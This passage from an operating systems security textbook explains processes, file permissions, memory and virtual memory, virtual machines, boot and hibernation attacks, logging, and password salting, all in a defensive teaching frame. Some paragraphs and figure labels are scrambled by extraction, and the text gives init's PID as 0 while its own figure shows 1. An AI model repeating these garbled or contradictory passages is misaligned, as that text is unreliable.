the operating system does the “heavy lifting” of performing the low-level
interactions that make such devices actually work. We will focus here  on

focus here on the operating system calls that are needed to make
input/output and other hardware interactions possible.

System Calls

Since user applications don’t communicate directly with low-level hard-
ware components, and instead delegate such tasks to the kernel, there
must be a mechanism by which user applications can request the kernel to
perform actions on their behalf. In fact, there are several such mechanisms,
but one of the most common techniques is known as the system call, or
syscall for short. System calls are usually contained in a collection of
programs, that is, a library such as the C library (libc), and they provide
an interface that allows applications to use a predefined series of APIs
that define the functions for communicating with the kernel. Examples
of system calls include those for performing file I/O (open, close, read,
write) and running application programs (exec). Specific implementation
details for system calls depend on the processor architecture, but many
systems implement system calls as software interrupts—requests by the
application for the processor to stop the current flow of execution and
switch to a special handler for the interrupt. This process of switching
to kernel mode as a result of an interrupt is commonly referred to as a
trap. System calls essentially create a bridge by which processes can safely
facilitate communication between user and kernel space. Since moving into
kernel space involves direct interaction with hardware, an operating system
limits the ways and means that applications interact with its kernel, so as
to provide both security and correctness.

1.2 Processes

The kernel defines the notion of a process, which is an instance of a program
that is currently executing. The actual contents of all programs are initially
stored in persistent storage, such as a hard drive, but in order to actually be
executed, the program must be loaded into random-access memory (RAM)
and uniquely identified as a process. In this way, multiple copies of the
same program can be run by having multiple processes initialized with

We will
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the same program code. For example, we could be running four different
instances of a word processing program at the same time, each in a different
window.

The kernel manages all running processes, giving each a fair share of the
computer’s CPU(s) so that the computer can execute the instructions for all
currently running applications. This time slicing capability is, in fact, what
makes multitasking possible. The operating system gives each running
process a tiny slice of time to do some work, and then it moves on to the
next process. Because each time slice is so small and the context switching
between running processes happens so fast, all the active processes appear
to be running at the same time to us humans (who process inputs at a much
slower rate than computers).

Users and the Process Tree

As mentioned above, most modern computer systems are designed to
allow multiple users, each with potentially different privileges, to access
the same computer and initiate processes. When a user creates a new
process, say, by making a request to run some program, the kernel sees this
as an existing process (such as a shell program or graphical user interface
program) asking to create a new process. Thus, processes are created by a
mechanism called forking, where a new process is created (that is, forked)
by an existing process. The existing process in this action is known as the
parent process and the one that that is being forked is known as the child
process.

On most systems, the new child process inherits the permissions of its
parent, unless the parent deliberately forks a new child process with lower
permissions than itself. Due to the forking mechanism for process creation,
which defines parent-child relationships among processes, processes are or-
ganized in a rooted tree, known as the process tree. In Linux, the root of this
tree is the process init, which starts executing during the boot process right
after the kernel is loaded and running. Process init forks off new processes
for user login sessions and operating system tasks. Also, init becomes the
parent of any “orphaned” process, whose parent has terminated.

Process IDs

Each process running on a given computer is identified by a unique non-
negative integer, called the process ID (PID). In Linux, the root of the
process tree is init, with PID 0. In Figure 2, we show an example of the
process tree for a Linux system, in both a compact form and an expanded
form.
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init-+-Xprt
|-6*[artsd]
|-atd
|-automount---22*[{automount}]
|-avahi-daemon---avahi-daemon
|-3*[bonobo-activati---{bonobo-activati}]
|-console-kit-dae---63*[{console-kit-dae}]
|-cron
|-cupsd
|-dbus-daemon
|-dhclient3
|-dirmngr
|-esd
|-gdm---gdm-+-Xorg
|           `-gdmlogin
|-6*[getty]
|-gmond---6*[{gmond}]
|-hald---hald-runner-+-hald-addon-acpi
|                    |-hald-addon-inpu
|                    `-hald-addon-stor
|-hcid
|-hogd
|-inetd
|-klogd
|-lisa
|-master-+-pickup
|        `-qmgr
|-monit---{monit}
|-nscd---8*[{nscd}]
|-ntpd
|-portmap
|-privoxy
|-rpc.statd
|-rwhod---rwhod
|-sshd---sshd---sshd---tcsh---pstree
|-syslogd
|-system-tools-ba
|-udevd
|-vmnet-bridge
|-2*[vmnet-dhcpd]
|-vmnet-natd
|-2*[vmnet-netifup]
|-xfs
`-zhm

init(1)-+-Xprt(1166)
|-artsd(29493,shitov)
|-artsd(18719,accharle)
|-artsd(25796,mdamiano)
|-artsd(16834,mchepkwo)
|-artsd(25213,xl1)
|-artsd(27782,wc9)
|-atd(4031,daemon)
|-automount(3434)-+-{automount}(3435)
|                 |-{automount}(3436)
|                 |-{automount}(3439)
|                 |-{automount}(3442)
|                 |-{automount}(3443)
|                 |-{automount}(3444)
|                 |-{automount}(3445)
|                 |-{automount}(3446)
|                 |-{automount}(3447)
|                 |-{automount}(3448)
|                 |-{automount}(3449)
|                 |-{automount}(3450)
|                 |-{automount}(3451)
|                 |-{automount}(3452)
|                 |-{automount}(3453)
|                 |-{automount}(3454)
|                 |-{automount}(3455)
|                 |-{automount}(3456)
|                 |-{automount}(3457)
|                 |-{automount}(3458)
|                 |-{automount}(3459)
|                 `-{automount}(3460)
|-avahi-daemon(2772,avahi)---avahi-daemon(2773)
|-bonobo-activati(6261,pmartada)---{bonobo-activati}(6262)
|-bonobo-activati(2059,jlalbert)---{bonobo-activati}(2060)
|-bonobo-activati(2684,bcrow)---{bonobo-activati}(2690)
|-console-kit-dae(31670)-+-{console-kit-dae}(31671)
|                        |-{console-kit-dae}(31673)
|                        |-{console-kit-dae}(31674)
|                        |-{console-kit-dae}(31675)
|                        |-{console-kit-dae}(31676)
|                        |-{console-kit-dae}(31677)
|                        |-{console-kit-dae}(31679)
|                        |-{console-kit-dae}(31680)

…

(a) (b)

Figure 2: The tree of processes in a Linux system produced by the pstree
command. The process tree is visualized by showing the root on the
upper left-hand corner, with children and their descendants to the right
of it. (a) Compact visualization where children associated with the same
command are merged into one node. For example, 6*[artsd] indicates that
there are six children process associated with artsd, a service that manages
access to audio devices. (b) Fragment of the full visualization, which also
includes process PIDs and users.

Process Privileges

To grant appropriate privileges to processes, an operating system associates
information about the user on whose behalf the process is being executed
with each process. For example, Unix-based systems have an ID system
where each process has a user ID (uid), which identifies the user associated
with this process, as well as a group ID (gid), which identifies a group of
users for this process. The uid is a number between 0 and 32,767 (0x7fff in
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hexadecimal notation) that uniquely identifies each user. Typically, uid 0 is
reserved for the root (administrator) account. The gid is a number within
the same range that identifies a group the user belongs to. Each group
has a unique identifier, and an administrator can add users to groups to
give them varying levels of access. These identifiers are used to determine
what resources each process is able to access. Also, processes automatically
inherit the permissions of their parent processes.

In addition to the uid and gid, processes in Unix-based systems also
have an effective user ID (euid). In most cases, the euid is the same as the
uid—the ID of the user executing the process. However, certain designated
processes are run with their euid set to the ID of the application’s owner,
who may have higher privileges than the user running the process (this
mechanism is discussed in more detail in Section 3.3). In these cases, the
euid generally takes precedence in terms of deciding a process’s privileges.

Inter-Process Communication

In order to manage shared resources, it is often necessary for processes to
communicate with each other. Thus, operating systems usually include
mechanisms to facilitate inter-process communication (IPC). One simple
technique processes can use to communicate is to pass messages by reading
and writing files. Files are are readily accessible to multiple processes as
a part of a big shared resource—the filesystem—so communicating this
way is simple. Even so, this approach proves to be inefficient. What if
a process wishes to communicate with another more privately, without
leaving evidence on disk that can be accessed by other processes? In
addition, file handling typically involves reading from or writing to an
external hard drive, which is often much slower than using RAM.

Another solution that allows for processes to communicate with each
other is to have them share the same region of physical memory. Processes
can use this mechanism to communicate with each other by passing mes-
sages via this shared RAM memory. As long as the kernel manages the
shared and private memory spaces appropriately, this technique can allow
for fast and efficient process communication.

Two additional solutions for process communication are known as pipes
and sockets. Both of these mechanisms essentially act as tunnels from
one process to another. Communication using these mechanisms involves
the sending and receiving processes to share the pipe or socket as an in-
memory object. This sharing allows for fast messages, which are produced
at one end of the pipe and consumed at the other, while actually being in
RAM memory the entire time.
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Signals

Sometimes, rather than communicating via shared memory or a shared
communication channel, it is more convenient to have a means by which
processes can send direct messages to each other asynchronously. Unix-
based systems incorporate signals, which are essentially notifications sent
from one process to another. When a process receives a signal from another
process, the operating system interrupts the current flow of execution of
that process, and checks whether that process has an appropriate signal
handler (a routine designed to trigger when a particular signal is received).
If a signal handler exists, then that routine is executed; if the process does
not handle this particular signal, then it takes a default action. Terminating
a nonresponsive process on a Unix system is typically performed via sig-
nals. Typing Ctrl-C in a command-line window sends the INT signal to the
process, which by default results in termination.

Remote Procedure Calls

Windows supports signals in its low-level libraries, but does not make
use of them in practice. Instead of using signals, Windows relies on the
other previously mentioned techniques and additional mechanisms known
as remote procedure calls (RPC), which essentially allow a process to call
a subroutine from another process’s program. To terminate a process,
Windows makes use of a kernel-level API appropriately named Termi-
nateProcess(), which can be called by any process, and will only execute
if the calling process has permission to kill the specified target.

Daemons and Services

Computers today run dozens of processes that run without any user in-
tervention. In Linux terminology, these background processes are known
as daemons, and are essentially indistinguishable from any other process.
They are typically started by the init process and operate with varying levels
of permissions. Because they are forked before the user is authenticated,
they are able to run with higher permissions than any user, and survive the
end of login sessions. Common examples of daemons are processes that
control web servers, remote logins, and print servers.

Windows features an equivalent class of processes known as services.
Unlike daemons, services are easily distinguishable from other processes,
and are differentiated in monitoring software such as the Task Manager.
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1.3 The Filesystem

Another key component of an operating system is the filesystem, which is
an abstraction of how the external, nonvolatile memory of the computer
is organized. Operating systems typically organize files hierarchically into
folders, also called directories.

Each folder may contain files and/or subfolders. Thus, a volume, or
drive, consists of a collection of nested folders that form a tree. The topmost
folder is the root of this tree and is also called the root folder. Figure 3
shows a visualization of a file system as a tree.

Figure 3: A filesystem as a tree, displayed by Windows Explorer.

File Access Control

One of the main concerns of operating system security is how to delineate
which users can access which resources, that is, who can read files, write
data, and execute programs. In most cases, this concept is encapsulated in
the notion of file permissions, whose specific implementation depends on
the operating system. Namely, each resource on disk, including both data
files and programs, has a set of permissions associated with it.
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File Permissions

File permissions are checked by the operating system to determine if a
file is readable, writable, or executable by a user or group of users. This
permission data is typically stored in the metadata of the file, along with
attributes such as the type of file. When a process attempts to access a
file, the operating system checks the identity of the process and determines
whether or not access should be granted, based on the permissions of the
file.

Several Unix-like operating systems have a simple mechanism for file
permissions known as a file permission matrix. This matrix is a represen-
tation of who is allowed to do what to the file, and contains permissions
for three classes, each of which features a combination of bits. Files have
an owner, which corresponds to the uid of some user, and a group, which
corresponds to some group id.

First, there is the owner class, which determines permissions for the
creator of the file. Next is the group class, which determines permissions
for users in the same group as the file. Finally, the others class determines
permissions for users who are neither the owner of the file nor in the same
group as the file.

Each of these classes has a series of bits to determine what permissions
apply. The first bit is the read bit, which allows users to read the file. Second
is the write bit, which allows users to alter the contents of the file. Finally,
there is the execute bit, which allows users to run the file as a program
or script, or, in the case of a directory, to change their current working
directory to that one. An example of a file permission matrix for a set of
files in a directory is shown in Figure 4.

Figure 4: An example of the permission matrices for several files on a Unix
system, using the ls -l command. The Floats.class file has read, write,
and execute rights for its owner, goodrich, and nonowners alike. The
Floats.java file, on the other hand, is readable by everyone, writeable only
by its owner, and no one has execute rights. The file, Test.java, is only
readable and writable by its owner—all others have no access rights.
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Unix File Permissions

The read, write, and execute bits are implemented in binary, but it is
common to express them in decimal notation, as follows: the execute bit
has weight 1, the write bit has weight 2, and read bit has weight 4. Thus,
each combination of the 3 bits yields a unique number between 0 and 7,
which summarizes the permissions for a class. For example, 3 denotes that
both the execute and write bits are set, while 7 denotes that read, write, and
execute are all set.

Using this decimal notation, the entire file permission matrix can be
expressed as three decimal numbers. For example, consider a file with a
permission matrix of 644. This denotes that the owner has permission to
read and write the file (the owner class is set to 6), users in the same group
can only read (the group class is set to 4), and other users can only read (the
others class is set to 4). In Unix, file permissions can be changed using the
chmod command to set the file permission matrix, and the chown command
to change the owner or group of a file. A user must be the owner of a file to
change its permissions.

Folders also have permissions. Having read permissions for a folder
allows a user to list that folder’s contents, and having write permissions for
a folder allows a user to create new files in that folder. Unix-based systems
employ a path-based approach for file access control. The operating system
keeps track of the user’s current working directory. Access to a file or
directory is requested by providing a path to it, which starts either at the
root directory, denoted with /, or at the current working directory. In
order to get access, the user must have execute permissions for all the
directories in the path. Namely, the path is traversed one directory at the
time, beginning with the start directory, and for each such directory, the
execute permission is checked.

As an example, suppose Bob is currently accessing directory
/home/alice, the home directory of Alice (his boss), for which he has execute
permission, and wants to read file

/home/alice/administration/memos/raises.txt.
When Bob issues the Unix command

cat administration/memos/raises.txt
to view the file, the operating system first checks if Bob has execute per-
mission on the first folder in the path, administration. If so, the operating
system checks next whether Bob has execute permissions on the next folder,
memos. If so, the operating system finally checks whether Bob has read
permission on file raises.txt. If Bob does not have execute permission on
administration or memos, or does not have read permission on raises.txt,
access is denied.
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1.4 Memory Management

Another service that an operating system provides is memory management,
that is, the organization and allocation of the memory in a computer. When
a process executes, it is allocated a region of memory known as its address
space. The address space stores the program code, data, and storage that
a process needs during its execution. In the Unix memory model, which is
used for most PCs, the address space is organized into five segments, which
from low addresses to high, are as follows. (See Figure 5.)

1. Text. This segment contains the actual machine code of the program,
which was compiled from source code prior to execution.

2. Data. This segment contains static program variables that have been
initialized in the source code, prior to execution.

3. BSS. This segment, which is named for an antiquated acronym for
block started by symbol, contains static variables that are uninitial-
ized (or initialized to zero).

4. Heap. This segment, which is also known as the dynamic segment,
stores data generated during the execution of a process, such as
objects created dynamically in an object-oriented program written in
Java or C++.

5. Stack. This segment houses a stack data structure that grows down-
wards and is used for keeping track of the call structure of subroutines
(e.g., methods in Java and functions in C) and their arguments.

Stack 

Dynamic 

BSS 

Data 

Text 

Figure 5: The Unix memory model.

Operating Systems Security

124



Memory Access Permissions

Each of the five memory segments has its own set of access permissions
(readable, writable, executable), and these permissions are enforced by the
operating system. The text region is usually read-only, for instance, because
it is generally not desirable to allow the alteration of a program’s code
during its execution. All other regions are writable, because their contents
may be altered during a program’s execution.

An essential rule of operating systems security is that processes are not
allowed to access the address space of other processes, unless they have
explicitly requested to share some of that address space with each other. If
this rule were not enforced, then processes could alter the execution and
data of other processes, unless some sort of process-based access control
system were put in place. Enforcing address space boundaries avoids many
serious security problems by protecting processes from changes by other
processes.

In addition to the segmentation of address space in order to adhere to
the Unix memory model, operating systems divide the address space into
two broad regions: user space, where all user-level applications run, and
kernel space, which is a special area reserved for core operating system
functionality. Typically, the operating system reserves a set amount of
space (one gigabyte, for example), at the bottom of each process’s address
space, for the kernel, which naturally has some of the most restrictive access
privileges of the entire memory.

Contiguous Address Spaces

As described above, each process’s address space is a contiguous block of
memory. Arrays are indexed as contiguous memory blocks, for example, so
if a program uses a large array, it needs an address space for its data that is
contiguous. In fact, even the text portion of the address space, which is used
for the computer code itself, should be contiguous, to allow for a program
to include instructions such as “jump forward 10 instructions,” which is a
natural type of instruction in machine code.

Nevertheless, giving each executing process a contiguous slab of real
memory would be highly inefficient and, in some cases, impossible. For
example, if the total amount of contiguous address space is more than the
amount of memory in the computer, then it is simply not possible for all
executing processes to get a contiguous region of memory the size of its
address space.
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Virtual Memory

Even if all the processes had address spaces that could fit in memory, there
would still be problems. Idle processes in such a scenario would still retain
their respective chunks of memory, so if enough processes were running,
memory would be needlessly scarce.

To solve these problems, most computer architectures incorporate a
system of virtual memory, where each process receives a virtual address
space, and each virtual address is mapped to an address in real memory
by the virtual memory system. When a virtual address is accessed, a
hardware component known as the memory management unit looks up the
real address that it is mapped to and facilitates access. Essentially, processes
are allowed to act as if their memory is contiguous, when in reality it may be
fragmented and spread across RAM, as depicted in Figure 6. Of course,
this is useful, as it allows for several simplifications, such as supporting
applications that index into large arrays as contiguous chunks of memory.

Another 
Program 

Hard Drive 

Program Sees: Actual Memory: 

Figure 6: Mapping virtual addresses to real addresses.

An additional benefit of virtual memory systems is that they allow
for the total size of the address spaces of executing processes to be larger
than the actual main memory of the computer. This extension of memory
is allowed because the virtual memory system can use a portion of the
external drive to “park” blocks of memory when they are not being used by
executing processes. This is a great benefit, since it allows for a computer
to execute a set of processes that could not be multitasked if they all had to
keep their entire address spaces in main memory all the time.
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Page Faults

There is a slight time trade-off for benefit we get from virtual memory,
however, since accessing the hard drive is much slower than RAM. Indeed,
accessing a hard drive can be 10,000 times slower than accessing main
memory.

So operating systems use the hard drive to store blocks of memory that
are not currently needed, in order to have most memory accesses being in
main memory, not the hard drive. If a block of the address space is not
accessed for an extended period of time, it may be paged out and written to
disk. When a process attempts to access a virtual address that resides in a
paged out block, it triggers a page fault.

When a page fault occurs, another portion of the virtual memory system
known as the paging supervisor finds the desired memory block on the hard
drive, reads it back into RAM, updates the mapping between the physical
and virtual addresses, and possibly pages out a different unused memory
block. This mechanism allows the operating system to manage scenarios
where the total memory required by running processes is greater than the
amount of RAM available. (See Figure 7.)

1. Process requests virtual address not in memory,
causing a page fault.

2. Paging supervisor pages out
an old block of RAM memory.

“read 0110101”

Process
“Page fault,
let me fix that.”

Paging supervisor

Blocks in

old

Blocks in
RAM memory:

3. Paging supervisor locates requested block 

External disknew

g g p q
on the disk and brings it into RAM memory.

Figure 7: Actions resulting from a page fault.
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1.5 Virtual Machines

Virtual machine technology is a rapidly emerging field that allows an
operating system to run without direct contact with its underlying hard-
ware. For instance, such systems may allow for substantial electrical power
savings, by combining the activities of several computer systems into one,
with the one simulating the operating systems of the others. The way
this simulation is done is that an operating system is run inside a virtual
machine (VM), software that creates a simulated environment the operating
system can interact with. The software layer that provides this environment
is known as a hypervisor or virtual machine monitor (VMM). The operating
system running inside the VM is known as a guest, and the native operating
system is known as the host. Alternately, the hypervisor can run directly
in hardware without a host operating system, which is known as native
virtualization. To the guest OS, everything appears normal: it can interact
with external devices, perform I/O, and so on. However, the operating
system is in fact interacting with virtual devices, and the underlying virtual
machine is bridging the gap between these virtual devices and the actual
hardware, completely transparent to the guest operating system.

Implementing Virtual Machines

There are two main implementations of VMs. The first is emulation, where
the host operating system simulates virtual interfaces that the guest oper-
ating system interacts with. Communications through these interfaces are
translated on the host system and eventually passed to the hardware. The
benefit of emulation is that it allows more hardware flexibility. For example,
one can emulate a virtual environment that supports one processor on a ma-
chine running an entirely different processor. The downside of emulation
is that it typically has decreased performance due to the conversion process
associated with the communication between the virtual and real hardware.

The second VM implementation is known simply as virtualization, and
removes the above conversion process. As a result, the virtual interfaces
within the VM must be matched with the actual hardware on the host
machine, so communications are passed from one to the other seamlessly.
This reduces the possibilities for running exotic guest operating systems,
but results in a significant performance boost.
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Advantages of Virtualization

Virtualization has several advantages:
• Hardware Efficiency. Virtualization allows system administrators to

host multiple operating systems on the same machine, ensuring an
efficient allocation of hardware resources. In these scenarios, the
hypervisor is responsible for effectively managing the interactions
between each operating system and the underlying hardware, and
for ensuring that these concurrent operations are both efficient and
safe. This management may be very complex—one set of hardware
may be forced to manage many operating systems simultaneously.

• Portability. VMs provide portability, that is, the ability to run a
program on multiple different machines. This portability comes from
the fact that the entire guest operating system is running as software
virtually, so it is possible to save the entire state of the guest oper-
ating system as a snapshot and transfer it to another machine. This
portability also allows easy restoration in the event of a problem. For
example, malware researchers frequently employ VM technology to
study malware samples in an environment that can easily be restored
to a clean state should anything go awry.

• Security. In addition to maximizing available resources and provid-
ing portable computing solutions, virtual machines provide several
benefits from a security standpoint. By containing the operating
system in a virtual environment, the VM functions as a strict sandbox
that protects the rest of the machine in the event that the guest oper-
ating system is compromised. In the event of a breach, it is a simple
matter to disconnect a virtual machine from the Internet without
interrupting the operations of other services on the host machine.

• Management Convenience. Finally, the ability to take snapshots of
the entire virtual machine state can prove very convenient. Suppose
Bob, a user on a company network, is running a virtualized version
of Windows that boots automatically when he turns on his machine.
If Bob’s operating system becomes infected with malware, then a
system administrator could just log in to the host operating system,
disconnect Bob from the company network, and create a snapshot of
Bob’s virtual machine state. After reviewing the snapshot on another
machine, the administrator might decide to revert Bob’s machine to a
clean state taken previously. The whole process would be reasonably
time consuming and resource intensive on ordinary machines, but
VM technology makes it relatively simple.
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2 Process Security

To protect a computer while it is running, it is essential to monitor and
protect the processes that are running on that computer.

2.1 Inductive Trust from Start to Finish

The trust that we place on the processes running on a computer is an
inductive belief based on the integrity of the processes that are loaded when
the computer is turned on, and that this state is maintained even if the
computer is shut down or put into a hibernation state.

The Boot Sequence

The action of loading an operating system into memory from a powered-off
state is known as booting, originally bootstrapping. This task seems like a
difficult challenge—initially, all of the operating system’s code is stored in
persistent storage, typically the hard drive. However, in order for the oper-
ating system to execute, it must be loaded into memory. When a computer
is turned on, it first executes code stored in a firmware component known
as the BIOS (basic input/output system). On modern systems, the BIOS
loads into memory the second-stage boot loader, which handles loading
the rest of the operating system into memory and then passes control of
execution to the operating system. (See Figure 8.)

Secondary Loader 

Operating 

System 

CPU 

BIOS 

Figure 8: Operation of the BIOS.
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A malicious user could potentially seize execution of a computer at
several points in the boot process. To prevent an attacker from initiating
the first stages of booting, many computers feature a BIOS password that
does not allow a second-stage boot loader to be executed without proper
authentication.

The Boot Device Hierarchy

There are some other security issues related to the boot sequence, however.
Most second-stage boot loaders allow the user to specify which device
should be used to load the rest of the operating system. In most cases,
this option defaults to booting from the hard drive, or in the event of a new
installation, from external media such as a DVD drive. Thus, one should
make sure that the operating system is always booted from trusted media.

There is a customizable hierarchy that determines the order of prece-
dence of booting devices: the first available device in the list is used for
booting. This flexibility is important for installation and troubleshooting
purposes, but it could allowanattacker
operating system from an external
nisms built into the operating system
To prevent these attacks, many computers
that feature password protections
from external storage media.

Hibernation

Modern machines have the ability to go into a powered-off state known
as hibernation. While going into hibernation, the operating system stores
the entire contents of the machine’s memory into a hibernation file on disk
so that the state of the computer can be quickly restored when the system
is powered back on. Without additional security precautions, hibernation
exposes a machine to potentially invasive forensic investigation.

Since the entire contents of memory are stored into the hibernation file,
any passwords or sensitive information that were stored in memory at the
time of hibernation are preserved. A live CD attack can be performed to
gain access to the hibernation file. Windows stores
as C:\hiberfil.sys. Security researchers have shown the
versing the compression algorithm used in this file, so as to
able snapshot of RAM at the time of hibernation, which opens
ty of the attack shown in Figure 9.

with physical access to boot another
media, bypassing the security mecha-

intended to be run on the computer.
utilize second-stage boot loaders

that only allow authorized users to boot

the hibernation file
feasibility of re-

extract a view-
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1. User closes a laptop computer, 
putting it into hibernationputting it into hibernation.

2. Attacker copies the hiberfil.sys
file to discover any unencrypted
passwords that were stored
in memory when the computerin memory when the computer
was put into hibernation.

Figure 9: The hibernation attack.

Attacks that modify the hiberfil.sys file have also been demonstrated, so
that the execution of programs on the machine is altered when the machine
is powered on. Interestingly, Windows does not delete the hibernation
file after resuming execution, so it may persist even after the computer is
rebooted several times. A related attack on virtual memory page files, or
swap files, is discussed in Section 3.1. To defend against these attacks,
hard disk encryption should be used to protect hibernation files and swap
files.

2.2 Monitoring, Management, and Logging

One of the most important aspects of operating systems security is some-
thing military people call “situational awareness.” Keeping track of what
processes are running, what other machines have interacted with the sys-
tem via the Internet, and if the operating system has experienced any
unexpected or suspicious behavior can often leave important clues not only
for troubleshooting ordinary problems, but also for determining the cause
of a security breach. For example, noticing log entries of repeated failed
attempts to log in may warn of a brute-force attack, and prompt a system
administrator to change passwords to ensure safety.

Event Logging

Operating systems therefore feature built-in systems for managing event
logging. For example, as depicted in Figure 10, Windows includes an
event logging system known simply as the Windows Event Log.

(user closing laptop) © Sinisa Bobic/
Photography/AlamyShutterstock; (open laptop) © JP
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Figure 10: The Windows Event Log.

Windows defines three possible sources of logs, “System,” “Applica-
tion,” and “Security.” The System log can only be written to by the
operating system itself, while the Application log may be written to by
ordinary applications. Finally, the Security log can only be written to by a
special Windows service known as the Local Security Authority Subsystem
Service, visible in Process Explorer as lsass.exe. This service is responsible
for enforcing security policies such as access control and user authentica-
tion. In addition to these three predefined sources, users can define their
own log sources. Each log entry is known as an event. Events are given
unique identifiers, which correspond to any of the potential occurrences
on a Windows machine that might prompt logging. Examples include
applications exiting unexpectedly, users failing to properly authenticate,
network connections being made, and so on.

Unix-based systems, including Linux, have differing logging mecha-
nisms depending on the specific distribution. Typically, log files are stored
in /var/log or some similar location and are simple text files with descriptive
names. For example, auth.log contains records of user authentication, while
kern.log keeps track of unexpected kernel behavior. Like Windows logs,
entries contain a timestamp along with a description of the event. Typically,
writing to these log files can only be done by a special syslog daemon.
While Windows log files may allow easier handling when using Microsoft’s
event logging tools, the simple text format of Unix logs, containing one
event per line, allows quick and easy perusing.
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Process Monitoring
There are several scenarios where we would like to find out exactly which
processes are currently running on our computer. For example, our com-
puter might be sluggish and we want to identify an application using up
lots of CPU cycles or memory. Or we may suspect that our computer
has been compromised by a virus and we want to check for suspicious
processes. Of course, we would like to terminate the execution of such a
misbehaving or malicious process, but doing so requires that we identify
it first. Every operating system therefore provides tools that allow users
to monitor and manage currently running processes. Examples include
the task manager application in Windows and the ps, top, pstree, and kill
commands in Linux.

Process Explorer

Process monitoring tools might seem like they are aimed at expert users or
administrators, since they present a detailed listing of running processes
and associated execution statistics, but they are useful tools for ordinary
users too. In Figure 11, we show a screen shot of just such a tool—Process
Explorer—which is a highly customizable and useful tool for monitoring
processes in the Microsoft Windows operating system.

Process Explorer is a good example of the kind of functionality that can
be provided by a good process monitoring tool. The tool bar of Process
Explorer contains various buttons, including one for terminating processes.
The mini graphs show the usage histories of CPU time, main memory, and
I/O, which are useful for identifying malicious or misbehaving processes.
The processes tree pane shows the processes currently running and has a
tabular format.

The components of Process Explorer provide a large amount of infor-
mation for process monitoring and managing. The left column (Process)
displays the tree of processes, that is, the processes and their parent-child
relationship, by means of a standard outline view. Note, for example, in
our screen shot shown in Figure 11, that process explorer.exe is the parent
of many processes, including the Firefox web browser and the Thunderbird
email client. Next to the process name is the icon of the associated program,
which helps to facilitate visual identification. The remaining columns
display, from left to right, the process ID (PID), percentage of CPU time
used (CPU), size (in KB) of the process address space (Virtual Size), and
description of the process (Description).

Large usage of CPU time and/or address space often indicate problem-
atic processes that may need to be terminated. A customization window
for the background color of processes is also shown in this example. In
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Figure 11: Screen shot of the Process Explorer utility for Microsoft Win-
dows, by Mark Russinovich, configured with three components: a menu
bar (top), a tool bar and three mini graphs (middle), and a process tree pane
(bottom).

particular, different colors are used to highlight newly started processes,
processes being terminated, user processes (started by the same user run-
ning Process Explorer), and system processes, such as services. All of these
features provide a useful graphical user interface for identifying malicious
and misbehaving processes, as well as giving a simple means to kill them
once they are identified.

In addition to monitoring performance, it is important to gather detailed
information about the process image, that is, the executable program asso-
ciated with the process. In our example of Figure 11, Process Explorer
provides the name of the entity that has developed the program (Company)
and the location on disk of the image (Path). The location of the image
may allow the detection of a virus whose file name is the same as that of a
legitimate application but is located in a nonstandard directory.

An attacker may also try to replace the image of a legitimate program
with a modified version that performs malicious actions. To counter this at-
tack, the software developer can digitally sign the image
plorer can be used to verify the signature and display the
entity who has signed the image (Verified Signer).

and Process Ex-
name of the

Microsoft® and Windows® are registered trademarks of 
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3 Memory and Filesystem Security

The contents of a computer are encapsulated in its memory and filesystem.
Thus, protection of a computer’s content has to start with the protection of
its memory and its filesystem.

3.1 Virtual Memory Security

As we observed in Section 1.4, virtual memory is a useful tool for oper-
ating systems. It allows for multiple processes with a total address space
larger than our RAM memory to run effectively, and it supports these
multiple processes to each view its address spaces as being contiguous.
Even so, these features come with some security concerns.

Windows and Linux Swap Files

On Windows, virtual memory pages that have been written to the hard
disk are actually contained in what is known as the page file, located at
C:\pagefile.sys. Linux, on the other hand, typically requires users to set
up an entire partition of their hard disk, known as the swap partition,
to contain these memory pages. In addition to the swap partition, Linux
alternately supports a swap file, which functions similarly to the Windows
page file. In all cases, each operating system enforce rules preventing users
from viewing the contents of virtual memory files while the OS is running,
and it may be configured such that they are deleted when the machine is
shut down.

Attacks on Virtual Memory

However, if an attacker suddenly powered off the machine without prop-
erly shutting down and booted to another operating system via external
media, it may be possible to view these files and reconstruct portions
of memory, potentially exposing sensitive information. To mitigate these
risks, hard disk encryption should be used in all cases where potentially
untrusted parties have physical access to a machine. Such encryption does
not stop such an attacker from reading a swap file, of course, since he would
have physical access to the computer. But it does prevent such an attacker
from learning anything useful from the contents of these files, provided he
is not able to get the decryption keys.
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3.2 Password-Based Authentication

The question of who is allowed access to the resources in a computer system
begins with a central question of operating systems security:

How does the operating system securely identify its users?

The answer to this question is encapsulated in the authentication concept,
that is, the determination of the identity or role that someone has (in this
case, with respect to the resources the operating system controls).

A standard authentication mechanism used by most operating systems
is for users to log in by entering a username and password. If the entered
password matches the stored password associated with the entered user-
name, then the system accepts this authentication and logs the users into
the system.

Instead of storing the passwords as clear text, operating systems typi-
cally keep cryptographic one-way hashes of the passwords in a password
file or database instead. Thanks to the one-way property of cryptographic
hash functions, an attacker who gets hold of the password
file cannot efficiently derive from it the actual passwords and has to resort
to a guessing attack. That is, the basic approach to guessing passwords
from the password file is to conduct a dictionary attack,
where each word in a dictionary is hashed and the resulting value is
compared with the hashed passwords stored in the password file. If users
of a system use weak passwords, such as English names and words, the
dictionary attack can often succeed with a dictionary of only 500,000 words,
as opposed to the search space of over 5 quadrillion words that could be
formed from eight characters that can be typed on a standard keyboard.

Password Salt

One way to make the dictionary attack more difficult to launch is to use
salt, which is a cryptographic technique of using random bits as part of
the input to a hash function or encryption algorithm so as to increase the
randomness in the output. In the case of password authentication, salt
would be introduced by associating a random number with each userid.
Then, rather than comparing the hash of an entered password with a stored
hash of a password, the system compares the hash of an entered password
and the salt for the associated userid with a stored hash of the password
and salt. Let U be a userid and P be the corresponding password. When
using salt, the password file stores the triplet (U, S, h(S||P)), where S is the
salt for U and h is a cryptographic hash function. (See Figure 12.)

file cannot effi-

where each word
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Without salt:

P d fil1. User types userid, X, and password, P.

2. System looks up H, the stored hash of 
X’s password

…
X: H

Password file:

X s password.

3. System tests whether h(P) = H.
…

With salt:

1. User types userid, X, and password, P.

2. System looks up S and H, where S is 
Password file:

y p
the random salt for userid X and H is 
stored hash of S and X’s password.

3 System tests whether h(S||P) = H

…
X: S, H
…

3. System tests whether h(S||P) = H.

Figure 12: Password salt. We use || to denote string concatenation and h to
denote a cryptographic hash function.

How Salt Increases Search Space Size

Using password salt significantly increases the search space needed for a
dictionary attack. Assuming that an attacker cannot find the salt associated
with a userid he is trying to compromise, then the search space for a
dictionary attack on a salted password is of size

2B × D,

where B is the number of bits of the random salt and D is the size of the list
of words for the dictionary attack. For example, if a system uses a 32-bit
salt for each userid and its users pick the kinds of passwords that would
be in a 500,000 word dictionary, then the search space for attacking salted
passwords would be

232 × 500,000 = 2,147,483,648,000,000,

